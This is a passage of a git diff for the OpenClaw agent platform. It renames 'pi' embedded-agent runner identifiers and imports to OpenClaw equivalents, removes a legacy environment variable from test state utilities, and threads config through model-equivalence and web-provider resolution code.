childKey, + stripUnsupportedSchemaKeywords(childValue, unsupportedKeywords), + ]), + ); + continue; + } + if (key === "items" && value && typeof value === "object") { + cleaned[key] = Array.isArray(value) + ? value.map((entry) => stripUnsupportedSchemaKeywords(entry, unsupportedKeywords)) + : stripUnsupportedSchemaKeywords(value, unsupportedKeywords); + continue; + } + if ((key === "anyOf" || key === "oneOf" || key === "allOf") && Array.isArray(value)) { + cleaned[key] = value.map((entry) => + stripUnsupportedSchemaKeywords(entry, unsupportedKeywords), + ); + continue; + } + cleaned[key] = value; + } + return cleaned; +} diff --git a/src/shared/session-types.ts b/src/shared/session-types.ts index b53dcea1afa..768ac60f51f 100644 --- a/src/shared/session-types.ts +++ b/src/shared/session-types.ts @@ -13,7 +13,7 @@ export type GatewayAgentModel = { export type GatewayAgentRuntime = { id: string; - fallback?: "pi" | "none"; + fallback?: "openclaw" | "none"; source: "env" | "agent" | "defaults" | "model" | "provider" | "implicit" | "session-key"; }; diff --git a/src/status/agent-runtime-label.ts b/src/status/agent-runtime-label.ts index e532d5cfb08..5f768db1dbe 100644 --- a/src/status/agent-runtime-label.ts +++ b/src/status/agent-runtime-label.ts @@ -8,7 +8,7 @@ import { import { sanitizeTerminalText } from "../terminal/safe-text.js"; const AGENT_RUNTIME_LABELS: Readonly> = { - pi: "OpenClaw Pi Default", + openclaw: "OpenClaw Default", codex: "OpenAI Codex", "codex-cli": "OpenAI Codex", "claude-cli": "Claude CLI", @@ -50,5 +50,5 @@ export function resolveAgentRuntimeLabel(args: { ); } - return AGENT_RUNTIME_LABELS.pi; + return AGENT_RUNTIME_LABELS.openclaw; } diff --git a/src/status/fallback-notice-state.ts b/src/status/fallback-notice-state.ts index 62f8f296c21..d1f70c0cc71 100644 --- a/src/status/fallback-notice-state.ts +++ b/src/status/fallback-notice-state.ts @@ -1,5 +1,6 @@ import { areRuntimeModelRefsEquivalent } from "../agents/model-runtime-aliases.js"; import type { SessionEntry } from "../config/sessions.js"; +import type { OpenClawConfig } from "../config/types.openclaw.js"; import { normalizeOptionalString } from "../shared/string-coerce.js"; export type FallbackNoticeState = Pick< @@ -10,13 +11,16 @@ export type FallbackNoticeState = Pick< export function resolveActiveFallbackState(params: { selectedModelRef: string; activeModelRef: string; + config?: OpenClawConfig; state?: FallbackNoticeState; }): { active: boolean; reason?: string } { const selected = normalizeOptionalString(params.state?.fallbackNoticeSelectedModel); const active = normalizeOptionalString(params.state?.fallbackNoticeActiveModel); const reason = normalizeOptionalString(params.state?.fallbackNoticeReason); const fallbackActive = - !areRuntimeModelRefsEquivalent(params.selectedModelRef, params.activeModelRef) && + !areRuntimeModelRefsEquivalent(params.selectedModelRef, params.activeModelRef, { + config: params.config, + }) && selected === params.selectedModelRef && active === params.activeModelRef; return { diff --git a/src/status/status-message.ts b/src/status/status-message.ts index 1ef4e0de85c..21776951d11 100644 --- a/src/status/status-message.ts +++ b/src/status/status-message.ts @@ -1,6 +1,7 @@ import fs from "node:fs"; import { resolveContextTokensForModel } from "../agents/context.js"; import { DEFAULT_CONTEXT_TOKENS, DEFAULT_MODEL, DEFAULT_PROVIDER } from "../agents/defaults.js"; +import { resolveExtraParams } from "../agents/embedded-agent-runner/extra-params.js"; import { resolveModelAuthMode } from "../agents/model-auth.js"; import { areRuntimeModelRefsEquivalent, @@ -12,7 +13,6 @@ import { resolveModelRefFromString, } from "../agents/model-selection.js"; import { resolveOpenAITextVerbosity } from "../agents/openai-text-verbosity.js"; -import { resolveExtraParams } from "../agents/pi-embedded-runner/extra-params.js"; import { resolveSandboxRuntimeStatus } from "../agents/sandbox.js"; import { formatProviderModelRef, @@ -585,6 +585,7 @@ export function buildStatusMessage(args: StatusArgs): string { const initialFallbackState = resolveActiveFallbackState({ selectedModelRef: modelRefs.selected.label || "unknown", activeModelRef: modelRefs.active.label || "unknown", + config: args.config, state: entry, }); let activeProvider = modelRefs.active.provider; @@ -915,6 +916,7 @@ export function buildStatusMessage(args: StatusArgs): string { const runtimeAliasModelEquivalent = areRuntimeModelRefsEquivalent( selectedModelLabel, activeModelLabel, + { config: args.config }, ); const selectedAuthMode = normalizeAuthMode(args.modelAuth) ?? resolveModelAuthMode(selectedProvider, args.config); @@ -940,6 +942,7 @@ export function buildStatusMessage(args: StatusArgs): string { const fallbackState = resolveActiveFallbackState({ selectedModelRef: selectedModelLabel, activeModelRef: activeModelLabel, + config: args.config, state: entry, }); const hasUsage = @@ -976,7 +979,9 @@ export function buildStatusMessage(args: StatusArgs): string { sessionHasPersistedModelSelection && configuredDefaultModelLabel && selectedModelLabel !== configuredDefaultModelLabel && - !areRuntimeModelRefsEquivalent(selectedModelLabel, configuredDefaultModelLabel); + !areRuntimeModelRefsEquivalent(selectedModelLabel, configuredDefaultModelLabel, { + config: args.config, + }); const modelLines = configDefaultDiffersFromSession ? [ `🧠 Configured default: ${configuredDefaultModelLabel}`, diff --git a/src/status/status-text.ts b/src/status/status-text.ts index cca41115009..c1817e81d27 100644 --- a/src/status/status-text.ts +++ b/src/status/status-text.ts @@ -281,6 +281,7 @@ export async function buildStatusText(params: BuildStatusTextParams): Promise = {}; - const runEmbeddedPiAgent = vi.fn(async () => ({ + const runEmbeddedAgent = vi.fn(async () => ({ payloads, meta: {}, })); @@ -90,25 +90,25 @@ function createAgentRuntime(payloads: unknown[] = [{ text: "Speak this." }]) { entry?.sessionFile ?? "/tmp/session.json", ), }, - runEmbeddedPiAgent, + runEmbeddedAgent, }, - runEmbeddedPiAgent, + runEmbeddedAgent, sessionStore, }; } -function requireEmbeddedPiAgentCall(runEmbeddedPiAgent: { +function requireEmbeddedAgentCall(runEmbeddedAgent: { mock: { calls: unknown[][] }; -}): RunEmbeddedPiAgentParams { - const [call] = runEmbeddedPiAgent.mock.calls; +}): RunEmbeddedAgentParams { + const [call] = runEmbeddedAgent.mock.calls; if (!call) { - throw new Error("Expected embedded PI agent call"); + throw new Error("Expected embedded OpenClaw agent call"); } const [params] = call; if (typeof params !== "object" || params === null || Array.isArray(params)) { - throw new Error("Expected embedded PI agent params to be an object"); + throw new Error("Expected embedded OpenClaw agent params to be an object"); } - return params as RunEmbeddedPiAgentParams; + return params as RunEmbeddedAgentParams; } function expectPositiveTimestamp(value: unknown) { @@ -144,7 +144,7 @@ describe("realtime voice agent consult runtime", () => { }); it("runs an embedded agent using the shared session and prompt contract", async () => { - const { runtime, runEmbeddedPiAgent, sessionStore } = createAgentRuntime(); + const { runtime, runEmbeddedAgent, sessionStore } = createAgentRuntime(); const result = await consultRealtimeVoiceAgent({ cfg: {} as never, @@ -175,7 +175,7 @@ describe("realtime voice agent consult runtime", () => { expect(Object.keys(voiceSession).toSorted()).toStrictEqual(["sessionId", "updatedAt"]); expectNonEmptyString(voiceSession.sessionId); expectPositiveTimestamp(voiceSession.updatedAt); - const call = requireEmbeddedPiAgentCall(runEmbeddedPiAgent); + const call = requireEmbeddedAgentCall(runEmbeddedAgent); expect(call.sessionId).toBe(voiceSession.sessionId); expect(call.sessionKey).toBe("voice:15550001234"); expect(call.sandboxSessionKey).toBe("agent:main:voice:15550001234"); @@ -205,7 +205,7 @@ describe("realtime voice agent consult runtime", () => { }); it("scopes sandbox resolution to the configured consult agent", async () => { - const { runtime, runEmbeddedPiAgent } = createAgentRuntime(); + const { runtime, runEmbeddedAgent } = createAgentRuntime(); await consultRealtimeVoiceAgent({ cfg: {} as never, @@ -222,7 +222,7 @@ describe("realtime voice agent consult runtime", () => { userLabel: "Caller", }); - const call = requireEmbeddedPiAgentCall(runEmbeddedPiAgent); + const call = requireEmbeddedAgentCall(runEmbeddedAgent); expect(call.sessionKey).toBe("voice:15550001234"); expect(call.sandboxSessionKey).toBe("agent:voice:voice:15550001234"); expect(call.agentId).toBe("voice"); @@ -254,7 +254,7 @@ describe("realtime voice agent consult runtime", () => { }); it("forks requester context when fork mode has a parent session", async () => { - const { runtime, runEmbeddedPiAgent, sessionStore } = createAgentRuntime(); + const { runtime, runEmbeddedAgent, sessionStore } = createAgentRuntime(); sessionStore["agent:main:main"] = { sessionId: "parent-session", sessionFile: "/tmp/parent.jsonl", @@ -313,14 +313,14 @@ describe("realtime voice agent consult runtime", () => { updatedAt: forkedEntry.updatedAt, }); expectPositiveTimestamp(forkedEntry.updatedAt); - const call = requireEmbeddedPiAgentCall(runEmbeddedPiAgent); + const call = requireEmbeddedAgentCall(runEmbeddedAgent); expect(call.sessionId).toBe("forked-session"); expect(call.sessionFile).toBe("/tmp/forked.jsonl"); expect(call.spawnedBy).toBe("agent:main:main"); }); it("inherits requester message routing for forked consult sessions", async () => { - const { runtime, runEmbeddedPiAgent, sessionStore } = createAgentRuntime(); + const { runtime, runEmbeddedAgent, sessionStore } = createAgentRuntime(); sessionStore["agent:main:discord:channel:123"] = { sessionId: "parent-session", deliveryContext: { @@ -348,7 +348,7 @@ describe("realtime voice agent consult runtime", () => { userLabel: "Caller", }); - const call = requireEmbeddedPiAgentCall(runEmbeddedPiAgent); + const call = requireEmbeddedAgentCall(runEmbeddedAgent); expect(call.sessionKey).toBe("voice:google-meet:meet-1"); expect(call.spawnedBy).toBe("agent:main:discord:channel:123"); expect(call.messageProvider).toBe("discord"); @@ -378,7 +378,7 @@ describe("realtime voice agent consult runtime", () => { }); it("reuses the call session delivery context when requester metadata is absent", async () => { - const { runtime, runEmbeddedPiAgent, sessionStore } = createAgentRuntime(); + const { runtime, runEmbeddedAgent, sessionStore } = createAgentRuntime(); sessionStore["voice:google-meet:meet-1"] = { sessionId: "call-session", deliveryContext: { @@ -405,7 +405,7 @@ describe("realtime voice agent consult runtime", () => { userLabel: "Caller", }); - const call = requireEmbeddedPiAgentCall(runEmbeddedPiAgent); + const call = requireEmbeddedAgentCall(runEmbeddedAgent); expect(call.sessionId).toBe("call-session"); expect(call.sessionKey).toBe("voice:google-meet:meet-1"); expect(call.messageProvider).toBe("discord"); diff --git a/src/talk/agent-consult-runtime.ts b/src/talk/agent-consult-runtime.ts index 24aafb1ba13..83d2d810cdb 100644 --- a/src/talk/agent-consult-runtime.ts +++ b/src/talk/agent-consult-runtime.ts @@ -1,6 +1,6 @@ import { randomUUID } from "node:crypto"; import path from "node:path"; -import type { RunEmbeddedPiAgentParams } from "../agents/pi-embedded-runner/run/params.js"; +import type { RunEmbeddedAgentParams } from "../agents/embedded-agent-runner/run/params.js"; import { forkSessionFromParent, resolveParentForkDecision, @@ -207,10 +207,10 @@ export async function consultRealtimeVoiceAgent(params: { agentId?: string; spawnedBy?: string | null; contextMode?: RealtimeVoiceAgentConsultContextMode; - provider?: RunEmbeddedPiAgentParams["provider"]; - model?: RunEmbeddedPiAgentParams["model"]; - thinkLevel?: RunEmbeddedPiAgentParams["thinkLevel"]; - fastMode?: RunEmbeddedPiAgentParams["fastMode"]; + provider?: RunEmbeddedAgentParams["provider"]; + model?: RunEmbeddedAgentParams["model"]; + thinkLevel?: RunEmbeddedAgentParams["thinkLevel"]; + fastMode?: RunEmbeddedAgentParams["fastMode"]; timeoutMs?: number; toolsAllow?: string[]; extraSystemPrompt?: string; @@ -247,7 +247,7 @@ export async function consultRealtimeVoiceAgent(params: { const sessionFile = params.agentRuntime.session.resolveSessionFilePath(sessionId, sessionEntry, { agentId, }); - const result = await params.agentRuntime.runEmbeddedPiAgent({ + const result = await params.agentRuntime.runEmbeddedAgent({ sessionId, sessionKey: params.sessionKey, sandboxSessionKey: resolveRealtimeVoiceAgentSandboxSessionKey(agentId, params.sessionKey), diff --git a/src/talk/agent-run-control.test.ts b/src/talk/agent-run-control.test.ts index 96d82b7ed7d..7b2d1f126f9 100644 --- a/src/talk/agent-run-control.test.ts +++ b/src/talk/agent-run-control.test.ts @@ -17,8 +17,8 @@ function createDeps(options: { reason?: "no_active_run" | "not_streaming" | "compacting" | "runtime_rejected"; }) { return { - abortEmbeddedPiRun: vi.fn(() => options.abortResult ?? true), - queueEmbeddedPiMessageWithOutcomeAsync: vi.fn( + abortEmbeddedAgentRun: vi.fn(() => options.abortResult ?? true), + queueEmbeddedAgentMessageWithOutcomeAsync: vi.fn( async (sessionId: string, _text: string, _options?: { steeringMode?: "all" }) => options.queued === false ? { @@ -139,7 +139,7 @@ describe("controlRealtimeVoiceAgentRun", () => { speak: true, suppress: false, }); - expect(deps.queueEmbeddedPiMessageWithOutcomeAsync).toHaveBeenCalledWith( + expect(deps.queueEmbeddedAgentMessageWithOutcomeAsync).toHaveBeenCalledWith( "session-active", "use the safer path", { steeringMode: "all", debounceMs: 0 }, @@ -159,7 +159,7 @@ describe("controlRealtimeVoiceAgentRun", () => { ); expect(result).toMatchObject({ ok: true, mode: "followup", speak: true }); - const queuedText = deps.queueEmbeddedPiMessageWithOutcomeAsync.mock.calls[0]?.[1] ?? ""; + const queuedText = deps.queueEmbeddedAgentMessageWithOutcomeAsync.mock.calls[0]?.[1] ?? ""; expect(queuedText).toContain("Spoken follow-up for the current voice call."); expect(queuedText).toContain("also check the migration"); }); @@ -186,8 +186,8 @@ describe("controlRealtimeVoiceAgentRun", () => { message: "Cancelled the active OpenClaw run.", }, }); - expect(deps.abortEmbeddedPiRun).toHaveBeenCalledWith("session-active"); - expect(deps.queueEmbeddedPiMessageWithOutcomeAsync).not.toHaveBeenCalled(); + expect(deps.abortEmbeddedAgentRun).toHaveBeenCalledWith("session-active"); + expect(deps.queueEmbeddedAgentMessageWithOutcomeAsync).not.toHaveBeenCalled(); }); it("answers status from recent Talk tool events", async () => { @@ -222,7 +222,7 @@ describe("controlRealtimeVoiceAgentRun", () => { active: true, message: "OpenClaw is working in read (running).", }); - expect(deps.queueEmbeddedPiMessageWithOutcomeAsync).not.toHaveBeenCalled(); + expect(deps.queueEmbeddedAgentMessageWithOutcomeAsync).not.toHaveBeenCalled(); }); it("answers status from diagnostic run activity when Talk events are absent", async () => { @@ -249,7 +249,7 @@ describe("controlRealtimeVoiceAgentRun", () => { active: true, message: "OpenClaw is running exec_command.", }); - expect(deps.queueEmbeddedPiMessageWithOutcomeAsync).not.toHaveBeenCalled(); + expect(deps.queueEmbeddedAgentMessageWithOutcomeAsync).not.toHaveBeenCalled(); }); it("does not report stale control tool progress after the active run ends", async () => { @@ -284,7 +284,7 @@ describe("controlRealtimeVoiceAgentRun", () => { active: false, message: "I'm not working on an active request right now.", }); - expect(deps.queueEmbeddedPiMessageWithOutcomeAsync).not.toHaveBeenCalled(); + expect(deps.queueEmbeddedAgentMessageWithOutcomeAsync).not.toHaveBeenCalled(); }); it("skips control tool progress when reporting active run status", async () => { @@ -330,7 +330,7 @@ describe("controlRealtimeVoiceAgentRun", () => { active: true, message: "OpenClaw is working in exec_command (running).", }); - expect(deps.queueEmbeddedPiMessageWithOutcomeAsync).not.toHaveBeenCalled(); + expect(deps.queueEmbeddedAgentMessageWithOutcomeAsync).not.toHaveBeenCalled(); }); it("returns a structured rejection when no run is active", async () => { @@ -352,6 +352,6 @@ describe("controlRealtimeVoiceAgentRun", () => { queued: false, reason: "no_active_run", }); - expect(deps.queueEmbeddedPiMessageWithOutcomeAsync).not.toHaveBeenCalled(); + expect(deps.queueEmbeddedAgentMessageWithOutcomeAsync).not.toHaveBeenCalled(); }); }); diff --git a/src/talk/agent-run-control.ts b/src/talk/agent-run-control.ts index cb0f00edd30..890d747a568 100644 --- a/src/talk/agent-run-control.ts +++ b/src/talk/agent-run-control.ts @@ -1,9 +1,9 @@ -import type { EmbeddedPiQueueMessageOutcome } from "../agents/pi-embedded-runner/runs.js"; +import type { EmbeddedAgentQueueMessageOutcome } from "../agents/embedded-agent-runner/runs.js"; import { - abortEmbeddedPiRun, - queueEmbeddedPiMessageWithOutcomeAsync, + abortEmbeddedAgentRun, + queueEmbeddedAgentMessageWithOutcomeAsync, resolveActiveEmbeddedRunSessionId, -} from "../agents/pi-embedded-runner/runs.js"; +} from "../agents/embedded-agent-runner/runs.js"; import { getDiagnosticSessionActivitySnapshot } from "../logging/diagnostic-run-activity.js"; import { buildRealtimeVoiceAgentCancelProviderResult, @@ -35,12 +35,12 @@ export { } from "./agent-run-control-shared.js"; type RealtimeVoiceAgentControlDeps = { - abortEmbeddedPiRun: (sessionId: string) => boolean; - queueEmbeddedPiMessageWithOutcomeAsync: ( + abortEmbeddedAgentRun: (sessionId: string) => boolean; + queueEmbeddedAgentMessageWithOutcomeAsync: ( sessionId: string, text: string, options?: { steeringMode?: "all"; debounceMs?: number }, - ) => Promise; + ) => Promise; getDiagnosticSessionActivitySnapshot: (params: { sessionId?: string; sessionKey?: string; @@ -49,9 +49,9 @@ type RealtimeVoiceAgentControlDeps = { }; const defaultDeps: RealtimeVoiceAgentControlDeps = { - abortEmbeddedPiRun, + abortEmbeddedAgentRun, getDiagnosticSessionActivitySnapshot, - queueEmbeddedPiMessageWithOutcomeAsync, + queueEmbeddedAgentMessageWithOutcomeAsync, resolveActiveEmbeddedRunSessionId, }; @@ -105,7 +105,7 @@ export async function controlRealtimeVoiceAgentRun( suppress: false, }; } - const aborted = deps.abortEmbeddedPiRun(sessionId); + const aborted = deps.abortEmbeddedAgentRun(sessionId); const message = aborted ? "Cancelled the active OpenClaw run." : "OpenClaw could not cancel the active run."; @@ -141,7 +141,7 @@ export async function controlRealtimeVoiceAgentRun( } const steerText = mode === "followup" ? buildRealtimeVoiceAgentFollowupSteeringText(text) : text; - const outcome = await deps.queueEmbeddedPiMessageWithOutcomeAsync(sessionId, steerText, { + const outcome = await deps.queueEmbeddedAgentMessageWithOutcomeAsync(sessionId, steerText, { steeringMode: "all", debounceMs: 0, }); diff --git a/src/tasks/task-status.ts b/src/tasks/task-status.ts index 1f37d9815be..54eaa421b70 100644 --- a/src/tasks/task-status.ts +++ b/src/tasks/task-status.ts @@ -1,8 +1,8 @@ +import { sanitizeUserFacingText } from "../agents/embedded-agent-helpers/sanitize-user-facing-text.js"; import { INTERNAL_RUNTIME_CONTEXT_BEGIN, INTERNAL_RUNTIME_CONTEXT_END, } from "../agents/internal-runtime-context.js"; -import { sanitizeUserFacingText } from "../agents/pi-embedded-helpers/sanitize-user-facing-text.js"; import { truncateUtf16Safe } from "../utils.js"; import type { TaskRecord } from "./task-registry.types.js"; diff --git a/src/test-utils/channel-plugins.ts b/src/test-utils/channel-plugins.ts index 8498b296b93..c61d4907f61 100644 --- a/src/test-utils/channel-plugins.ts +++ b/src/test-utils/channel-plugins.ts @@ -43,6 +43,7 @@ export const createTestRegistry = (channels: TestChannelRegistration[] = []): Pl agentToolResultMiddlewares: [], memoryEmbeddingProviders: [], textTransforms: [], + cliBackends: [], agentHarnesses: [], gatewayHandlers: {}, gatewayMethodDescriptors: [], diff --git a/src/test-utils/openclaw-test-state.test.ts b/src/test-utils/openclaw-test-state.test.ts index d46c8715bf8..01772548a74 100644 --- a/src/test-utils/openclaw-test-state.test.ts +++ b/src/test-utils/openclaw-test-state.test.ts @@ -68,9 +68,7 @@ describe("openclaw test state", () => { it("clears inherited agent-dir overrides by default", async () => { const previousAgentDir = process.env.OPENCLAW_AGENT_DIR; - const previousPiAgentDir = process.env.PI_CODING_AGENT_DIR; process.env.OPENCLAW_AGENT_DIR = "/tmp/outside-openclaw-agent"; - process.env.PI_CODING_AGENT_DIR = "/tmp/outside-pi-agent"; try { const state = await createOpenClawTestState({ @@ -79,27 +77,19 @@ describe("openclaw test state", () => { try { expect(process.env.OPENCLAW_AGENT_DIR).toBeUndefined(); - expect(process.env.PI_CODING_AGENT_DIR).toBeUndefined(); expect(state.env.OPENCLAW_AGENT_DIR).toBeUndefined(); - expect(state.env.PI_CODING_AGENT_DIR).toBeUndefined(); expect(state.agentDir()).toBe(path.join(state.stateDir, "agents", "main", "agent")); } finally { await state.cleanup(); } expect(process.env.OPENCLAW_AGENT_DIR).toBe("/tmp/outside-openclaw-agent"); - expect(process.env.PI_CODING_AGENT_DIR).toBe("/tmp/outside-pi-agent"); } finally { if (previousAgentDir === undefined) { delete process.env.OPENCLAW_AGENT_DIR; } else { process.env.OPENCLAW_AGENT_DIR = previousAgentDir; } - if (previousPiAgentDir === undefined) { - delete process.env.PI_CODING_AGENT_DIR; - } else { - process.env.PI_CODING_AGENT_DIR = previousPiAgentDir; - } } }); @@ -108,14 +98,11 @@ describe("openclaw test state", () => { { env: { OPENCLAW_AGENT_DIR: "/tmp/explicit-openclaw-agent", - PI_CODING_AGENT_DIR: "/tmp/explicit-pi-agent", }, }, async (state) => { expect(process.env.OPENCLAW_AGENT_DIR).toBe("/tmp/explicit-openclaw-agent"); - expect(process.env.PI_CODING_AGENT_DIR).toBe("/tmp/explicit-pi-agent"); expect(state.env.OPENCLAW_AGENT_DIR).toBe("/tmp/explicit-openclaw-agent"); - expect(state.env.PI_CODING_AGENT_DIR).toBe("/tmp/explicit-pi-agent"); }, ); }); @@ -127,9 +114,7 @@ describe("openclaw test state", () => { }, async (state) => { expect(process.env.OPENCLAW_AGENT_DIR).toBe(state.agentDir()); - expect(process.env.PI_CODING_AGENT_DIR).toBe(state.agentDir()); expect(state.env.OPENCLAW_AGENT_DIR).toBe(state.agentDir()); - expect(state.env.PI_CODING_AGENT_DIR).toBe(state.agentDir()); }, ); }); diff --git a/src/test-utils/openclaw-test-state.ts b/src/test-utils/openclaw-test-state.ts index 7950c5e8bf9..9d8c677c964 100644 --- a/src/test-utils/openclaw-test-state.ts +++ b/src/test-utils/openclaw-test-state.ts @@ -60,7 +60,6 @@ const ENV_KEYS = [ "OPENCLAW_STATE_DIR", "OPENCLAW_CONFIG_PATH", "OPENCLAW_AGENT_DIR", - "PI_CODING_AGENT_DIR", "OPENCLAW_SERVICE_REPAIR_POLICY", ] as const; @@ -202,11 +201,9 @@ function buildEnvVars(params: { params.agentEnv === "main" ? { OPENCLAW_AGENT_DIR: params.agentDir, - PI_CODING_AGENT_DIR: params.agentDir, } : { OPENCLAW_AGENT_DIR: undefined, - PI_CODING_AGENT_DIR: undefined, }; const envVars: Record = { OPENCLAW_STATE_DIR: params.stateDir, diff --git a/src/trajectory/export.test.ts b/src/trajectory/export.test.ts index 53d6ff038e1..540c523d586 100644 --- a/src/trajectory/export.test.ts +++ b/src/trajectory/export.test.ts @@ -1,7 +1,7 @@ import fs from "node:fs"; import os from "node:os"; import path from "node:path"; -import type { Message, Usage } from "@earendil-works/pi-ai"; +import type { Message, Usage } from "openclaw/plugin-sdk/llm"; import { afterAll, describe, expect, it } from "vitest"; import { exportTrajectoryBundle, resolveDefaultTrajectoryExportDir } from "./export.js"; import { TRAJECTORY_RUNTIME_FILE_MAX_BYTES, resolveTrajectoryPointerFilePath } from "./paths.js"; diff --git a/src/trajectory/export.ts b/src/trajectory/export.ts index 53ad0988532..a0ea4572307 100644 --- a/src/trajectory/export.ts +++ b/src/trajectory/export.ts @@ -1,8 +1,8 @@ import fsp from "node:fs/promises"; import path from "node:path"; -import type { AgentMessage } from "@earendil-works/pi-agent-core"; -import type { FileEntry, SessionEntry, SessionHeader } from "@earendil-works/pi-coding-agent"; import { sanitizeDiagnosticPayload } from "../agents/payload-redaction.js"; +import type { AgentMessage } from "../agents/runtime/index.js"; +import type { FileEntry, SessionEntry, SessionHeader } from "../agents/sessions/session-manager.js"; import { resolveStateDir } from "../config/paths.js"; import { jsonSupportBundleFile, diff --git a/src/trajectory/metadata.test.ts b/src/trajectory/metadata.test.ts index 79449b7ca62..b1fb31546d8 100644 --- a/src/trajectory/metadata.test.ts +++ b/src/trajectory/metadata.test.ts @@ -117,7 +117,7 @@ describe("trajectory metadata", () => { webSearchProviderIds: [], migrationProviderIds: [], memoryEmbeddingProviderIds: [], - agentHarnessIds: ["pi"], + agentHarnessIds: ["openclaw"], cliCommands: [], services: [], gatewayDiscoveryServiceIds: [], diff --git a/src/tts/tts-core.ts b/src/tts/tts-core.ts index 5a107c99cab..fccefab3c62 100644 --- a/src/tts/tts-core.ts +++ b/src/tts/tts-core.ts @@ -1,4 +1,4 @@ -import { completeSimple, type TextContent } from "@earendil-works/pi-ai"; +import { resolveModelAsync } from "../agents/embedded-agent-runner/model.js"; import { getApiKeyForModel, requireApiKey } from "../agents/model-auth.js"; import { buildModelAliasIndex, @@ -6,9 +6,10 @@ import { resolveModelRefFromString, type ModelRef, } from "../agents/model-selection.js"; -import { resolveModelAsync } from "../agents/pi-embedded-runner/model.js"; import { prepareModelForSimpleCompletion } from "../agents/simple-completion-transport.js"; import type { OpenClawConfig } from "../config/types.js"; +import { completeSimple } from "../llm/stream.js"; +import type { TextContent } from "../llm/types.js"; import { normalizeOptionalString } from "../shared/string-coerce.js"; import type { ResolvedTtsConfig } from "./tts-types.js"; export { diff --git a/src/tui/tui-event-handlers.ts b/src/tui/tui-event-handlers.ts index 3bdf7a5edb5..6f4f5d85e14 100644 --- a/src/tui/tui-event-handlers.ts +++ b/src/tui/tui-event-handlers.ts @@ -1,4 +1,4 @@ -import { classifyFailoverReason, isAuthErrorMessage } from "../agents/pi-embedded-helpers.js"; +import { classifyFailoverReason, isAuthErrorMessage } from "../agents/embedded-agent-helpers.js"; import { parseAgentSessionKey } from "../sessions/session-key-utils.js"; import { formatRawAssistantErrorForUi } from "../shared/assistant-error-format.js"; import { normalizeLowercaseStringOrEmpty } from "../shared/string-coerce.js"; diff --git a/src/tui/tui-pty-harness.e2e.test.ts b/src/tui/tui-pty-harness.e2e.test.ts index 41c89887258..f73989f717e 100644 --- a/src/tui/tui-pty-harness.e2e.test.ts +++ b/src/tui/tui-pty-harness.e2e.test.ts @@ -220,7 +220,7 @@ async function writeTuiPtyFixtureScript(dir: string) { const scriptPath = path.join(dir, "run-tui-pty-fixture.ts"); const tuiModuleUrl = pathToFileURL(path.join(process.cwd(), "src/tui/tui.ts")).href; const payloadsModuleUrl = pathToFileURL( - path.join(process.cwd(), "src/agents/pi-embedded-runner/run/payloads.ts"), + path.join(process.cwd(), "src/agents/embedded-agent-runner/run/payloads.ts"), ).href; const replyPayloadModuleUrl = pathToFileURL( path.join(process.cwd(), "src/auto-reply/reply-payload.ts"), diff --git a/src/types/pi-agent-core.d.ts b/src/types/agent-core.d.ts similarity index 79% rename from src/types/pi-agent-core.d.ts rename to src/types/agent-core.d.ts index 5f0f90c6ee1..55320245fa0 100644 --- a/src/types/pi-agent-core.d.ts +++ b/src/types/agent-core.d.ts @@ -1,6 +1,6 @@ -import "@earendil-works/pi-agent-core"; +import "openclaw/plugin-sdk/agent-core"; -declare module "@earendil-works/pi-agent-core" { +declare module "openclaw/plugin-sdk/agent-core" { // OpenClaw persists compaction markers alongside normal agent history. interface CustomAgentMessages { compactionSummary: { diff --git a/src/types/agent-sessions.d.ts b/src/types/agent-sessions.d.ts new file mode 100644 index 00000000000..6b5b78ed34e --- /dev/null +++ b/src/types/agent-sessions.d.ts @@ -0,0 +1,8 @@ +export type OpenClawAgentSessionSkillSourceAugmentation = never; + +declare module "openclaw/plugin-sdk/agent-sessions" { + interface Skill { + // OpenClaw relies on the source identifier returned by skill loaders. + source: string; + } +} diff --git a/src/types/highlight-js-lib-index.d.ts b/src/types/highlight-js-lib-index.d.ts new file mode 100644 index 00000000000..40b5b19ccaa --- /dev/null +++ b/src/types/highlight-js-lib-index.d.ts @@ -0,0 +1,19 @@ +declare module "highlight.js/lib/index.js" { + interface HighlightResult { + value: string; + } + + interface HighlightOptions { + language: string; + ignoreIllegals?: boolean; + } + + interface HighlightJs { + highlight(code: string, options: HighlightOptions): HighlightResult; + highlightAuto(code: string, languageSubset?: string[]): HighlightResult; + getLanguage(name: string): unknown; + } + + const hljs: HighlightJs; + export default hljs; +} diff --git a/src/types/pi-coding-agent.d.ts b/src/types/pi-coding-agent.d.ts deleted file mode 100644 index 008ae2f91f1..00000000000 --- a/src/types/pi-coding-agent.d.ts +++ /dev/null @@ -1,8 +0,0 @@ -export type OpenClawPiCodingAgentSkillSourceAugmentation = never; - -declare module "@earendil-works/pi-coding-agent" { - interface Skill { - // OpenClaw relies on the source identifier returned by pi skill loaders. - source: string; - } -} diff --git a/src/web-fetch/runtime.ts b/src/web-fetch/runtime.ts index df125df7fcf..5b2d6279982 100644 --- a/src/web-fetch/runtime.ts +++ b/src/web-fetch/runtime.ts @@ -93,7 +93,6 @@ export function listWebFetchProviders(params?: { }): PluginWebFetchProviderEntry[] { return resolvePluginWebFetchProviders({ config: params?.config, - bundledAllowlistCompat: true, }); } @@ -102,7 +101,6 @@ export function listConfiguredWebFetchProviders(params?: { }): PluginWebFetchProviderEntry[] { return resolvePluginWebFetchProviders({ config: params?.config, - bundledAllowlistCompat: true, }); } @@ -115,7 +113,6 @@ export function resolveWebFetchProviderId(params: { params.providers ?? resolvePluginWebFetchProviders({ config: params.config, - bundledAllowlistCompat: true, }), ); const raw = @@ -174,17 +171,14 @@ export function resolveWebFetchDefinition( options?.sandboxed ? resolvePluginWebFetchProviders({ config: options?.config, - bundledAllowlistCompat: true, origin: "bundled", }) : options?.preferRuntimeProviders ? resolveRuntimeWebFetchProviders({ config: options?.config, - bundledAllowlistCompat: true, }) : resolvePluginWebFetchProviders({ config: options?.config, - bundledAllowlistCompat: true, }), ); return resolveWebProviderDefinition({ diff --git a/src/web-search/runtime.test.ts b/src/web-search/runtime.test.ts index 5cc49562bca..97a15f7d4a2 100644 --- a/src/web-search/runtime.test.ts +++ b/src/web-search/runtime.test.ts @@ -16,7 +16,6 @@ type TestPluginWebSearchConfig = { }; type WebSearchProviderResolverParams = { - bundledAllowlistCompat?: boolean; config?: OpenClawConfig; onlyPluginIds?: readonly string[]; origin?: string; diff --git a/src/web-search/runtime.ts b/src/web-search/runtime.ts index cf99b15f0fa..bfa342bc980 100644 --- a/src/web-search/runtime.ts +++ b/src/web-search/runtime.ts @@ -138,7 +138,6 @@ export function listWebSearchProviders(params?: { const config = resolveWebSearchRuntimeConfig({ config: params?.config }); return resolveRuntimeWebSearchProviders({ config, 